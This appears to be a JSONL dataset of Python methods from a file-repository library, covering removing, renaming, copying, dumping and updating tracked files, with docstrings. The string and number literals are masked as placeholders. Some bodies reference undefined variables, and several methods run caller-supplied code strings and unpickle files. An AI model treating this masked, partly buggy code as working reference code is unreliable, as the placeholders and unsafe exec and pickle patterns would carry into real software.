inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if error is None:<EOL><INDENT>_, error = self.__save_repository_pickle_file(lockFirst=False, raiseError=False)<EOL><DEDENT>LD.release_lock()<EOL>LR.release_lock()<EOL>assert error is None or not raiseError, \"<STR_LIT>\"%(relativePath, ntrials, error,)<EOL>return error is None, error<EOL>", "docstring": "Remove directory from repository tracking.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the\n       directory to remove from the repository.\n    #. clean (boolean): Whether to os remove directory. If False only\n       tracked files will be removed along with left empty directories.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. success (boolean): Whether removing the directory was successful.\n    #. reason (None, string): Reason why directory was not removed.", "id": "f13917:c1:m36"}
{"signature": "@path_required<EOL><INDENT>def rename_directory(self, relativePath, newName, raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>parentPath, dirName = os.path.split(relativePath)<EOL>if relativePath == '<STR_LIT>':<EOL><INDENT>error = \"<STR_LIT>\"<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>realPath = os.path.join(self.__path,relativePath)<EOL>newRealPath = os.path.join(os.path.dirname(realPath), newName)<EOL>if os.path.isdir(newRealPath):<EOL><INDENT>error = \"<STR_LIT>\"%(newRealPath,)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>LD =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(self.__path,parentPath, self.__dirLock))<EOL>acquired, code = LD.acquire_lock()<EOL>if not acquired:<EOL><INDENT>error = \"<STR_LIT>\"%(code,dirPath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>error = None<EOL>LR =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(self.__path, self.__repoLock))<EOL>acquired, code = LR.acquire_lock()<EOL>if not acquired:<EOL><INDENT>LD.release_lock()<EOL>m = \"<STR_LIT>\"%(code,dirPath)<EOL>assert raiseError,  Exception(m)<EOL>return False,m<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>try:<EOL><INDENT>repo = self.__load_repository_pickle_file(os.path.join(self.__path, self.__repoFile))<EOL>self.__repo['<STR_LIT>'] = repo['<STR_LIT>']<EOL><DEDENT>except Exception as err:<EOL><INDENT>error = str(err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>error = None<EOL>break<EOL><DEDENT><DEDENT>if error is not None:<EOL><INDENT>LD.release_lock()<EOL>LR.release_lock()<EOL>assert not raiseError, Exception(error)<EOL>return False, error<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>error = None<EOL>try:<EOL><INDENT>dirList = self.__get_repository_parent_directory(relativePath=relativePath)<EOL>assert dirList is not None, \"<STR_LIT>\"%(relativePath,)<EOL>_dirDict = [nd for nd in dirList  if isinstance(nd,dict)]<EOL>_dirDict = [nd for nd in _dirDict if dirName in nd]<EOL>assert len(_dirDict) == <NUM_LIT:1>, \"<STR_LIT>\"<EOL>os.rename(realPath, newRealPath)<EOL>_dirDict[<NUM_LIT:0>][newName] = _dirDict[<NUM_LIT:0>][dirName]<EOL>_dirDict[<NUM_LIT:0>].pop(dirName)<EOL>self.__save_dirinfo(description=None, dirInfoPath=parentPath, create=False)<EOL><DEDENT>except Exception as err:<EOL><INDENT>error = str(err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>error = None<EOL>break<EOL><DEDENT><DEDENT>if error is None:<EOL><INDENT>_, error = self.__save_repository_pickle_file(lockFirst=False, raiseError=False)<EOL><DEDENT>LR.release_lock()<EOL>LD.release_lock()<EOL>assert error is None or not raiseError, \"<STR_LIT>\"%(relativePath, newName, ntrials, error,)<EOL>return error is None, error<EOL>", "docstring": "Rename a directory in the repository. It insures renaming the directory in the system.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of\n       the directory to be renamed.\n    #. newName (string): The new directory name.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. success (boolean): Whether renaming the directory was successful.\n    #. message (None, string): Some explanatory message or error reason\n       why directory was not renamed.", "id": "f13917:c1:m37"}
{"signature": "@path_required<EOL><INDENT>def copy_directory(self, relativePath, newRelativePath,<EOL>overwrite=False, raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "<EOL>assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(overwrite, bool), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>if relativePath == '<STR_LIT>':<EOL><INDENT>m = \"<STR_LIT>\"<EOL>assert not raiseError, m<EOL>return False, m<EOL><DEDENT>realPath     = os.path.join(self.__path,relativePath)<EOL>parentRealPath, dirName = os.path.split(realPath)<EOL>parentRelativePath = os.path.dirname(relativePath)<EOL>if not self.is_repository_directory(relativePath):<EOL><INDENT>m = \"<STR_LIT>\"%(relativePath)<EOL>assert not raiseError, m<EOL>return False, m<EOL><DEDENT>newRelativePath = self.to_repo_relative_path(path=newRelativePath, split=False)<EOL>newRealPath     = os.path.join(self.__path,newRelativePath)<EOL>newParentRealPath, newDirName = os.path.split(newRealPath)<EOL>newParentRelativePath = os.path.dirname(newRelativePath)<EOL>if realPath == newRealPath:<EOL><INDENT>m = \"<STR_LIT>\"<EOL>assert not raiseError, m<EOL>return False, m<EOL><DEDENT>if self.is_repository_directory(newRelativePath):<EOL><INDENT>m = \"<STR_LIT>\"%(newRelativePath)<EOL>assert not raiseError, m<EOL>return False, m<EOL><DEDENT>if os.path.isdir(newRealPath):<EOL><INDENT>if overwrite:<EOL><INDENT>try:<EOL><INDENT>shutil.rmtree(newRealPath)<EOL><DEDENT>except Exception as err:<EOL><INDENT>assert not raiseError, str(err)<EOL>return False, str(err)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>error = \"<STR_LIT>\"%(newRealPath,)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT><DEDENT>try:<EOL><INDENT>success, reason = self.add_directory(newParentRelativePath, raiseError=False, ntrials=ntrials)<EOL><DEDENT>except Exception as err:<EOL><INDENT>reason  = \"<STR_LIT>\"%(str(err))<EOL>success = False<EOL><DEDENT>if not success:<EOL><INDENT>assert not raiseError, reason<EOL>return False, reason<EOL><DEDENT>LR =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(self.__path, self.__repoLock))<EOL>acquired, code = LR.acquire_lock()<EOL>if not acquired:<EOL><INDENT>m = \"<STR_LIT>\"%(code,)<EOL>assert raiseError,  Exception(m)<EOL>return False,m<EOL><DEDENT>try:<EOL><INDENT>repo = self.__load_repository_pickle_file(os.path.join(self.__path, self.__repoFile))<EOL>self.__repo['<STR_LIT>'] = repo['<STR_LIT>']<EOL><DEDENT>except Exception as err:<EOL><INDENT>LR.release_lock()<EOL>assert not raiseError, Exception(str(err))<EOL>return False,m<EOL><DEDENT>L0 =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(parentRealPath, self.__dirLock))<EOL>acquired, code = L0.acquire_lock()<EOL>if not acquired:<EOL><INDENT>LR.release_lock()<EOL>error = \"<STR_LIT>\"%(code,dirPath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>L1 = None<EOL>if parentRealPath != newParentRealPath:<EOL><INDENT>L1 =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(newParentRealPath, self.__dirLock))<EOL>acquired, code = L1.acquire_lock()<EOL>if not acquired:<EOL><INDENT>L0.release_lock()<EOL>LR.release_lock()<EOL>error = \"<STR_LIT>\"%(code,dirPath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT><DEDENT>error = None<EOL>for _trial in range(ntrials):<EOL><INDENT>try:<EOL><INDENT>assert self.is_repository_directory(relativePath), \"<STR_LIT>\"%(relativePath)<EOL>assert not self.is_repository_directory(newRelativePath), \"<STR_LIT>\"%(relativePath)<EOL>dirList = self.__get_repository_parent_directory(relativePath=relativePath)<EOL>assert dirList is not None, \"<STR_LIT>\"%(relativePath,)<EOL>newDirList = self.__get_repository_parent_directory(relativePath=newRelativePath)<EOL>assert newDirList is not None, \"<STR_LIT>\"%(newRelativePath,)<EOL>_dirDict = [nd for nd in dirList  if isinstance(nd,dict)]<EOL>_dirDict = [nd for nd in _dirDict if dirName in nd]<EOL>assert len(_dirDict) == <NUM_LIT:1>, \"<STR_LIT>\"<EOL>_newDirDict = [nd for nd in newDirList  if isinstance(nd,dict)]<EOL>_newDirDict = [nd for nd in _newDirDict if newDirName in nd]<EOL>assert len(_newDirDict) == <NUM_LIT:0>, \"<STR_LIT>\"<EOL>_newDirDict = copy.deepcopy(_dirDict[<NUM_LIT:0>])<EOL>if dirName != newDirName:<EOL><INDENT>_newDirDict[newDirName] = _newDirDict.pop(dirName)<EOL><DEDENT>copy_tree(realPath, newRealPath)<EOL>newDirList.append(_newDirDict)<EOL>self.__save_dirinfo(description=None, dirInfoPath=newParentRelativePath, create=False)<EOL><DEDENT>except Exception as err:<EOL><INDENT>error = str(err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>error = None<EOL>break<EOL><DEDENT><DEDENT>if error is None:<EOL><INDENT>_, error = self.__save_repository_pickle_file(lockFirst=False, raiseError=False)<EOL><DEDENT>LR.release_lock()<EOL>L0.release_lock()<EOL>if L1 is not None:<EOL><INDENT>L1.release_lock()<EOL><DEDENT>assert error is None or not raiseError, \"<STR_LIT>\"%(relativePath, newRelativePath, ntrials, error,)<EOL>return error is None, error<EOL>", "docstring": "Copy a directory in the repository. New directory must not exist.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of\n       the directory to be copied.\n    #. newRelativePath (string): The new directory relative path.\n    #. overwrite (boolean): Whether to overwrite existing but not tracked\n       directory in repository.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. success (boolean): Whether renaming the directory was successful.\n    #. message (None, string): Some explanatory message or error reason\n       why directory was not renamed.", "id": "f13917:c1:m38"}
{"signature": "@path_required<EOL><INDENT>def dump_file(self, value, relativePath,<EOL>description=None,<EOL>dump=None, pull=None,<EOL>replace=False, raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "<EOL>assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(replace, bool), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>if description is None:<EOL><INDENT>description = '<STR_LIT>'<EOL><DEDENT>assert isinstance(description, basestring), \"<STR_LIT>\"<EOL>if pull is None and dump is not None:<EOL><INDENT>if dump.startswith('<STR_LIT>') or dump.startswith('<STR_LIT>') or dump.startswith('<STR_LIT>') or dump =='<STR_LIT>':<EOL><INDENT>pull = dump<EOL><DEDENT><DEDENT>dump = get_dump_method(dump, protocol=self._DEFAULT_PICKLE_PROTOCOL)<EOL>pull = get_pull_method(pull)<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>savePath     = os.path.join(self.__path,relativePath)<EOL>fPath, fName = os.path.split(savePath)<EOL>success, reason = self.is_name_allowed(savePath)<EOL>if not success:<EOL><INDENT>assert not raiseError, reason<EOL>return False, reason<EOL><DEDENT>try:<EOL><INDENT>success, reason = self.add_directory(fPath, raiseError=False, ntrials=ntrials)<EOL><DEDENT>except Exception as err:<EOL><INDENT>reason  = \"<STR_LIT>\"%(str(err))<EOL>success = False<EOL><DEDENT>if not success:<EOL><INDENT>assert not raiseError, reason<EOL>return False, reason<EOL><DEDENT>LR =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(self.__path, self.__repoLock))<EOL>acquired, code = LR.acquire_lock()<EOL>if not acquired:<EOL><INDENT>m = \"<STR_LIT>\"%(code,)<EOL>assert raiseError, Exception(m)<EOL>return False,m<EOL><DEDENT>LF =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(fPath,self.__fileLock%fName))<EOL>acquired, code = LF.acquire_lock()<EOL>if not acquired:<EOL><INDENT>LR.release_lock()<EOL>error = \"<STR_LIT>\"%(code,relativePath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>try:<EOL><INDENT>repo = self.__load_repository_pickle_file(os.path.join(self.__path, self.__repoFile))<EOL>self.__repo['<STR_LIT>'] = repo['<STR_LIT>']<EOL><DEDENT>except Exception as err:<EOL><INDENT>error = str(err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>error = None<EOL>break<EOL><DEDENT><DEDENT>if error is not None:<EOL><INDENT>LR.release_lock()<EOL>LF.release_lock()<EOL>assert not raiseError, Exception(error)<EOL>return False, error<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>error = None<EOL>try:<EOL><INDENT>isRepoFile, fileOnDisk, infoOnDisk, classOnDisk = self.is_repository_file(relativePath)<EOL>if isRepoFile:<EOL><INDENT>assert replace, \"<STR_LIT>\"<EOL><DEDENT>fileInfoPath = os.path.join(self.__path,os.path.dirname(relativePath),self.__fileInfo%fName)<EOL>if isRepoFile and fileOnDisk:<EOL><INDENT>with open(fileInfoPath, '<STR_LIT:rb>') as fd:<EOL><INDENT>info = pickle.load(fd)<EOL><DEDENT>assert info['<STR_LIT>'] == self.__repo['<STR_LIT>'], \"<STR_LIT>\"<EOL>info['<STR_LIT>'] = time.time()<EOL><DEDENT>else:<EOL><INDENT>info = {'<STR_LIT>':self.__repo['<STR_LIT>']}<EOL>info['<STR_LIT>'] = info['<STR_LIT>'] = time.time()<EOL><DEDENT>info['<STR_LIT>'] = dump<EOL>info['<STR_LIT>'] = pull<EOL>info['<STR_LIT:description>'] = description<EOL>if not isRepoFile:<EOL><INDENT>dirList = self.__get_repository_directory(fPath)<EOL><DEDENT>my_exec( dump.replace(\"<STR_LIT>\", str(savePath)), locals=locals(), globals=globals(), description='<STR_LIT>'  )<EOL>with open(fileInfoPath, '<STR_LIT:wb>') as fd:<EOL><INDENT>pickle.dump( info,fd, protocol=self._DEFAULT_PICKLE_PROTOCOL)<EOL>fd.flush()<EOL>os.fsync(fd.fileno())<EOL><DEDENT>fileClassPath = os.path.join(self.__path,os.path.dirname(relativePath),self.__fileClass%fName)<EOL>with open(fileClassPath, '<STR_LIT:wb>') as fd:<EOL><INDENT>if value is None:<EOL><INDENT>klass = None<EOL><DEDENT>else:<EOL><INDENT>klass = value.__class__<EOL><DEDENT>pickle.dump(klass , fd, protocol=self._DEFAULT_PICKLE_PROTOCOL )<EOL>fd.flush()<EOL>os.fsync(fd.fileno())<EOL><DEDENT>if not isRepoFile:<EOL><INDENT>dirList.append(fName)<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>error = \"<STR_LIT>\"%(str(err),)<EOL>try:<EOL><INDENT>if '<STR_LIT>' in dump:<EOL><INDENT>mi = get_pickling_errors(value)<EOL>if mi is not None:<EOL><INDENT>error += '<STR_LIT>'%str(mi)<EOL><DEDENT><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>error = None<EOL>break<EOL><DEDENT><DEDENT>if error is None:<EOL><INDENT>_, error = self.__save_repository_pickle_file(lockFirst=False, raiseError=False)<EOL><DEDENT>LR.release_lock()<EOL>LF.release_lock()<EOL>assert not raiseError or error is None, \"<STR_LIT>\"%(relativePath, ntrials, error,)<EOL>return success, error<EOL>", "docstring": "Dump a file using its value to the system and creates its\nattribute in the Repository with utc timestamp.\n\n:Parameters:\n    #. value (object): The value of a file to dump and add to the\n       repository. It is any python object or file.\n    #. relativePath (str): The relative to the repository path to where\n       to dump the file.\n    #. description (None, string): Any description about the file.\n    #. dump (None, string): The dumping method.\n       If None it will be set automatically to pickle and therefore the\n       object must be pickleable. If a string is given, it can be a\n       keyword ('json','pickle','dill') or a string compileable code to\n       dump the data. The string code must include all the necessary\n       imports and a '$FILE_PATH' that replaces the absolute file path\n       when the dumping will be performed.\\n\n       e.g. \"import numpy as np; np.savetxt(fname='$FILE_PATH', X=value, fmt='%.6e')\"\n    #. pull (None, string): The pulling method. If None it will be set\n       automatically to pickle and therefore the object must be\n       pickleable. If a string is given, it can be a keyword\n       ('json','pickle','dill') or a string compileable code to pull\n       the data. The string code must include all the necessary imports,\n       a '$FILE_PATH' that replaces the absolute file path when the\n       dumping will be performed and finally a PULLED_DATA variable.\\n\n       e.g \"import numpy as np; PULLED_DATA=np.loadtxt(fname='$FILE_PATH')\"\n    #. replace (boolean): Whether to replace any existing file.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. success (boolean): Whether renaming the directory was successful.\n    #. message (None, string): Some explanatory message or error reason\n       why directory was not dumped.", "id": "f13917:c1:m39"}
{"signature": "def dump(self, *args, **kwargs):", "body": "return self.dump_file(*args, **kwargs)<EOL>", "docstring": "Alias to dump_file", "id": "f13917:c1:m40"}
{"signature": "@path_required<EOL><INDENT>def copy_file(self, relativePath, newRelativePath,<EOL>force=False, raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(force, bool), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>realPath     = os.path.join(self.__path,relativePath)<EOL>fPath, fName = os.path.split(realPath)<EOL>newRelativePath = self.to_repo_relative_path(path=newRelativePath, split=False)<EOL>newRealPath     = os.path.join(self.__path,newRelativePath)<EOL>nfPath, nfName  = os.path.split(newRealPath)<EOL>LO =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(fPath,self.__fileLock%fName))<EOL>acquired, code = LO.acquire_lock()<EOL>if not acquired:<EOL><INDENT>error = \"<STR_LIT>\"%(code,relativePath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>try:<EOL><INDENT>success, reason = self.add_directory(nfPath, raiseError=False, ntrials=ntrials)<EOL><DEDENT>except Exception as err:<EOL><INDENT>reason  = \"<STR_LIT>\"%(str(err))<EOL>success = False<EOL><DEDENT>if not success:<EOL><INDENT>LO.release_lock()<EOL>assert not raiseError, reason<EOL>return False, reason<EOL><DEDENT>LN =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(nfPath,self.__fileLock%nfName))<EOL>acquired, code = LN.acquire_lock()<EOL>if not acquired:<EOL><INDENT>LO.release_lock()<EOL>error = \"<STR_LIT>\"%(code,newRelativePath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>copied = False<EOL>error  = None<EOL>try:<EOL><INDENT>isRepoFile,fileOnDisk, infoOnDisk, classOnDisk = self.is_repository_file(relativePath)<EOL>assert isRepoFile,  \"<STR_LIT>\"%(relativePath,)<EOL>assert fileOnDisk,  \"<STR_LIT>\"%(relativePath,)<EOL>assert infoOnDisk,  \"<STR_LIT>\"%self.__fileInfo%fName<EOL>assert classOnDisk, \"<STR_LIT>\"%self.__fileClass%fName<EOL>nisRepoFile,nfileOnDisk,ninfoOnDisk,nclassOnDisk = self.is_repository_file(newRelativePath)<EOL>assert not nisRepoFile or force, \"<STR_LIT>\"<EOL>nDirList = self.__get_repository_directory(nfPath)<EOL>if os.path.isfile(newRealPath):<EOL><INDENT>os.remove(newRealPath)<EOL><DEDENT>if os.path.isfile(os.path.join(nfPath,self.__fileInfo%nfName)):<EOL><INDENT>os.remove(os.path.join(nfPath,self.__fileInfo%nfName))<EOL><DEDENT>if os.path.isfile(os.path.join(nfPath,self.__fileClass%nfName)):<EOL><INDENT>os.remove(os.path.join(nfPath,self.__fileClass%nfName))<EOL><DEDENT>shutil.copy(realPath, newRealPath)<EOL>shutil.copy(os.path.join(fPath,self.__fileInfo%fName),  os.path.join(nfPath,self.__fileInfo%nfName))<EOL>shutil.copy(os.path.join(fPath,self.__fileClass%fName), os.path.join(nfPath,self.__fileClass%nfName))<EOL>if nfName not in nDirList:<EOL><INDENT>nDirList.append(nfName)<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>copied = False<EOL>error = str(err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>error = None<EOL>copied = True<EOL>break<EOL><DEDENT><DEDENT>LO.release_lock()<EOL>LN.release_lock()<EOL>assert copied or not raiseError, \"<STR_LIT>\"%(relativePath, newRelativePath, ntrials, error,)<EOL>return copied, '<STR_LIT:\\n>'.join(message)<EOL>", "docstring": "Copy a file in the repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of\n       the file that needst to be renamed.\n    #. newRelativePath (string): The new relative to the repository path\n       of where to move and rename the file.\n    #. force (boolean): Whether to force renaming even when another\n       repository file exists. In this case old repository file\n       will be removed from the repository and the system as well.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. success (boolean): Whether renaming the file was successful.\n    #. message (None, string): Some explanatory message or error reason\n       why directory was not updated.", "id": "f13917:c1:m41"}
{"signature": "@path_required<EOL><INDENT>def update_file(self, value, relativePath, description=False,<EOL>dump=False, pull=False, raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "<EOL>assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert description is False or description is None or isinstance(description, basestring), \"<STR_LIT>\"<EOL>assert dump is False or dump is None or isinstance(dump, basestring), \"<STR_LIT>\"<EOL>assert pull is False or pull is None or isinstance(pull, basestring), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>savePath     = os.path.join(self.__path,relativePath)<EOL>fPath, fName = os.path.split(savePath)<EOL>LF =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(fPath,self.__fileLock%fName))<EOL>acquired, code = LF.acquire_lock()<EOL>if not acquired:<EOL><INDENT>error = \"<STR_LIT>\"%(code,relativePath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>message = []<EOL>updated = False<EOL>try:<EOL><INDENT>isRepoFile, fileOnDisk, infoOnDisk, classOnDisk = self.is_repository_file(relativePath)<EOL>assert isRepoFile, \"<STR_LIT>\"%(relativePath,)<EOL>if not fileOnDisk:<EOL><INDENT>assert description is not False,  \"<STR_LIT>\"%(relativePath,)<EOL>assert dump is not False,  \"<STR_LIT>\"%(relativePath,)<EOL>assert pull is not False,  \"<STR_LIT>\"%(relativePath,)<EOL>info = {}<EOL>info['<STR_LIT>'] = self.__repo['<STR_LIT>']<EOL>info['<STR_LIT>'] = info['<STR_LIT>'] = time.time()<EOL><DEDENT>else:<EOL><INDENT>with open(os.path.join(fPath,self.__fileInfo%fName), '<STR_LIT:rb>') as fd:<EOL><INDENT>info = pickle.load(fd)<EOL>info['<STR_LIT>'] = time.time()<EOL><DEDENT><DEDENT>if not fileOnDisk:<EOL><INDENT>message.append(\"<STR_LIT>\"%relativePath)<EOL><DEDENT>if not infoOnDisk:<EOL><INDENT>message.append(\"<STR_LIT>\"%self.__fileInfo%fName)<EOL><DEDENT>if not classOnDisk:<EOL><INDENT>message.append(\"<STR_LIT>\"%self.__fileClass%fName)<EOL><DEDENT>if (description is False) or (dump is False) or (pull is False):<EOL><INDENT>if description is False:<EOL><INDENT>description = info['<STR_LIT:description>']<EOL><DEDENT>elif description is None:<EOL><INDENT>description = '<STR_LIT>'<EOL><DEDENT>if dump is False:<EOL><INDENT>dump = info['<STR_LIT>']<EOL><DEDENT>elif dump is None:<EOL><INDENT>dump = get_dump_method(dump, protocol=self._DEFAULT_PICKLE_PROTOCOL)<EOL><DEDENT>if pull is False:<EOL><INDENT>pull = info['<STR_LIT>']<EOL><DEDENT>elif pull is None:<EOL><INDENT>pull = get_pull_method(pull)<EOL><DEDENT><DEDENT>info['<STR_LIT>'] = dump<EOL>info['<STR_LIT>'] = pull<EOL>info['<STR_LIT:description>'] = description<EOL>my_exec( dump.replace(\"<STR_LIT>\", str(savePath)), locals=locals(), globals=globals(), description='<STR_LIT>'  )<EOL>_path = os.path.join(fPath,self.__fileInfo%fName)<EOL>with open(_path, '<STR_LIT:wb>') as fd:<EOL><INDENT>pickle.dump( info,fd, protocol=self._DEFAULT_PICKLE_PROTOCOL )<EOL>fd.flush()<EOL>os.fsync(fd.fileno())<EOL><DEDENT>fileClassPath = os.path.join(self.__path,os.path.dirname(relativePath),self.__fileClass%fName)<EOL>with open(fileClassPath, '<STR_LIT:wb>') as fd:<EOL><INDENT>if value is None:<EOL><INDENT>klass = None<EOL><DEDENT>else:<EOL><INDENT>klass = value.__class__<EOL><DEDENT>pickle.dump(klass , fd, protocol=self._DEFAULT_PICKLE_PROTOCOL )<EOL>fd.flush()<EOL>os.fsync(fd.fileno())<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>message.append(str(err))<EOL>updated = False<EOL>try:<EOL><INDENT>if '<STR_LIT>' in dump:<EOL><INDENT>mi = get_pickling_errors(value)<EOL>if mi is not None:<EOL><INDENT>message.append('<STR_LIT>'%str(mi))<EOL><DEDENT><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], '<STR_LIT:\\n>'.join(message)))<EOL><DEDENT>else:<EOL><INDENT>updated = True<EOL>break<EOL><DEDENT><DEDENT>LF.release_lock()<EOL>assert updated or not raiseError, \"<STR_LIT>\"%(relativePath, '<STR_LIT:\\n>'.join(message),)<EOL>return updated, '<STR_LIT:\\n>'.join(message)<EOL>", "docstring": "Update the value of a file that is already in the Repository.\\n\n If file is not registered in repository, and error will be thrown.\\n\n If file is missing in the system, it will be regenerated as dump method\n is called.\n Unlike dump_file, update_file won't block the whole repository but only\n the file being updated.\n\n :Parameters:\n     #. value (object): The value of a file to update.\n     #. relativePath (str): The relative to the repository path of the\n        file to be updated.\n     #. description (False, string): Any random description about the file.\n        If False is given, the description info won't be updated,\n        otherwise it will be update to what description argument value is.\n     #. dump (False, string): The new dump method. If False is given,\n        the old one will be used.\n     #. pull (False, string): The new pull method. If False is given,\n        the old one will be used.\n     #. raiseError (boolean): Whether to raise encountered error instead\n        of returning failure.\n     #. ntrials (int): After aquiring all locks, ntrials is the maximum\n        number of trials allowed before failing.\n        In rare cases, when multiple processes\n        are accessing the same repository components, different processes\n        can alter repository components between successive lock releases\n        of some other process. Bigger number of trials lowers the\n        likelyhood of failure due to multiple processes same time\n        alteration.\n\n:Returns:\n    #. success (boolean): Whether renaming the directory was 